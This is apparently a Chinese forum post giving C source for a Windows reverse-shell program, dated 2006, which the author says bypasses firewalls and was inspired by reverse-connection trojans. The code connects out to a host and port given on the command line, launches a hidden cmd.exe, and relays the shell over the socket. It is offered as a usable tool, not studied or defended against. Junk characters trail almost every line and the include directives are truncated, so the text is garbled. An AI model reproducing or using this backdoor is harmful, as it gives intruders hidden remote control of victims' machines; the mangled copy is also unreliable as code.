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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {JP q. A  
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/* ============================== [rT.k5_  
Rebound port in Windows NT -<6?ISF2  
By wind,2006/7 v wEbGx  
===============================*/ b[<RcM{r}  
#include ~.%HZzR6&  
#include @GFB{ ;=  
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#pragma comment(lib,"wsock32.lib") l,4O  
be,Rj,-  
void OutputShell(); 3J+2#ML  
SOCKET sClient; rR#Ditn^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U;MXiE3D  
er UYR"  
void main(int argc,char **argv) 9KXL6#h  
{ :h{uZ,#Gi  
WSADATA stWsaData; ^'V :T Y  
int nRet; rKrHd  
SOCKADDR_IN stSaiClient,stSaiServer; ~_D.&-xUF  
h <LFTYE@  
if(argc != 3) 06S R74  
{ 4D0jt$==  
printf("Useage:\n\rRebound DestIP DestPort\n"); :dSda,!z  
return; ! ;t\lgMl  
} 2]5{Xmmo9  
8D*nU3O   
WSAStartup(MAKEWORD(2,2),&stWsaData); EsMX #1>/m  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oo|PZ_P  
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stSaiClient.sin_family = AF_INET; (.ir"\k1(  
stSaiClient.sin_port = htons(0); (aa2uctTn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {rUg,y{v  
eluN~T:W  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Wb-C0^dTn  
{ pd|KIs%jl  
printf("Bind Socket Failed!\n"); Jay"  
return;  yfZNL?2x  
} RRIh;HhX  
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stSaiServer.sin_family = AF_INET; ?;ok9Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G.rz6o;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <e2l@@#oy  
1 ~zjsi  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lT|Gkm<G  
{ ITn%  
printf("Connect Error!"); K oJ=0jM#  
return; ec&/a2M  
} $a M5jH<  
OutputShell(); f4"UI-8;n  
} ]4l2jY  
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void OutputShell() hIJtu;}zU  
{ {%R^8  
char szBuff[1024]; *q=T1JY  
SECURITY_ATTRIBUTES stSecurityAttributes; GJeG7xtJKl  
OSVERSIONINFO stOsversionInfo; y|5L%,i  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I=y7$+7%  
STARTUPINFO stStartupInfo; r/j:A#6M]o  
char *szShell; bv[#|^/  
PROCESS_INFORMATION stProcessInformation; 9n& &`r  
unsigned long lBytesRead; ?b;2 PH"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }/cReX,so  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X-c|jn7  
stSecurityAttributes.lpSecurityDescriptor = 0;  w4U,7%V  
stSecurityAttributes.bInheritHandle = TRUE; XQ#K1Z  
0gd`W{YP  
wFJf"@/vJ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7~Y\qJ4b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MCKN.f%lP  
Eomfa:WL  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7D6`1 &  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {&=+lr_h?  
stStartupInfo.wShowWindow = SW_HIDE; YB38K(  
stStartupInfo.hStdInput = hReadPipe; TN(Vzs%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $UR:j8C{p$  
^_WR) F'K  
GetVersionEx(&stOsversionInfo); u m9yO'[C  
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switch(stOsversionInfo.dwPlatformId) @Rr=uf G  
{ 0:$ }~T9T  
case 1: uJw?5kEbv<  
szShell = "command.com"; 3UZd_?JI[^  
break; x-BU$bx5  
default: I/O3OD  
szShell = "cmd.exe"; FK _ ZE>  
break; *w+'I*QSt~  
} +\eJxyO  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *uc/| c  
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send(sClient,szMsg,77,0); ^A$=6=CX  
while(1) DrJ?bG;[  
{ d:%b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K./qu^+k  
if(lBytesRead) ;TAj;Tf]H  
{ |N)Ik8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *~#I5s\s!  
send(sClient,szBuff,lBytesRead,0); my (@~'  
} QAs)zl0  
else fAs b:P  
{ U,Z\)+-R  
lBytesRead=recv(sClient,szBuff,1024,0); J @Hg7Faz  
if(lBytesRead<=0) break; |[SHpcq>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s L^+$Mq6  
} ]o6 ZZK  
} vqm|D&HU  
'C]w3Rh'  
return; Bqf(6\)F  
}
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